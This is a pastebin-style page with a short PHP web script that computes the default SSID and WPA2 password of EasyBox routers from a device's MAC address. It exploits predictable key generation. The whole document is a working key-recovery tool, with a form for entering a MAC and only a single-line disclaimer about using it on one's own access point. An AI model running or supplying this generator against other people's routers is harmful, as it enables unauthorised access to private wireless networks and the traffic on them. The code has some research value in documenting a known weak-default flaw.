easybox keygen - PHP Script


SUBMITTED BY: Guest

DATE: Dec. 3, 2013, 1:25 p.m.

FORMAT: PHP

SIZE: 2.0 kB

HITS: 1533

  1. <?php
  2. $mac = $_REQUEST['mac']; // GET and POST
  3. if ($mac) {
  4. $mac = str_replace(':', '', $mac); // remove ':' if any
  5. if (strlen($mac) == 12) {
  6. echo 'MAC: ' . $mac . '<br />';
  7. $m = str_split($mac);
  8. list($m1, $m2, $m3, $m4, $m5, $m6, $m7, $m8, $m9, $m10, $m11, $m12) = $m;
  9. $smac = hexdec($m9 . $m10 . $m11 . $m12);
  10. echo 'SMAC: ' . $smac . '<br />';
  11. $smac = str_pad($smac, 5, '0', STR_PAD_LEFT);
  12. $s = str_split($smac);
  13. list($s6, $s7, $s8, $s9, $s10) = $s;
  14. $ssid = 'EasyBox-' . $m7 . $m8 . $m9 . $m10 . $s6 . $s10;
  15. echo 'SSID: ' . $ssid . '<br />';
  16. $k1 = hexdec($s7) + hexdec($s8) + hexdec($m11) + hexdec($m12);
  17. $k2 = hexdec($m9) + hexdec($m10) + hexdec($s9) + hexdec($s10);
  18. $k1 = hexdec(substr(dechex($k1), -1));
  19. $k2 = hexdec(substr(dechex($k2), -1));
  20. echo 'K1: ' . strtoupper(dechex($k1)) . '<br />';
  21. echo 'K2: ' . strtoupper(dechex($k2)) . '<br />';
  22. $x1 = $k1 ^ hexdec($s10);
  23. $x2 = $k1 ^ hexdec($s9);
  24. $x3 = $k1 ^ hexdec($s8);
  25. $y1 = $k2 ^ hexdec($m10);
  26. $y2 = $k2 ^ hexdec($m11);
  27. $y3 = $k2 ^ hexdec($m12);
  28. $z1 = hexdec($m11) ^ hexdec($s10);
  29. $z2 = hexdec($m12) ^ hexdec($s9);
  30. $z3 = $k1 ^ $k2;
  31. $key = strtoupper(dechex($x1) . dechex($y1) . dechex($z1) . dechex($x2) . dechex($y2) . dechex($z2) . dechex($x3) . dechex($y3) . dechex($z3));
  32. echo 'WPA-Key: ' . $key . '<br />';
  33. } else {
  34. echo 'Error, bad MAC format.<br />';
  35. }
  36. exit('<a href="easybox_keygen.php">Back</a>');
  37. }
  38. ?>
  39. EasyBox KeyGen for Standard WPA2-Password<br />
  40. By Sebastian Petters<br />
  41. http://www.wotan.cc<br />
  42. <br />
  43. Use this only on your own AccessPoint!<br />
  44. <br />
  45. Enter MAC-Adress in following format: 01234567890A<br />
  46. <br />
  47. <form method="POST" action="easybox_keygen.php" />
  48. MAC: <input type="text" name="mac" />
  49. <input type="submit" value="Submit" />
  50. </form>

comments powered by Disqus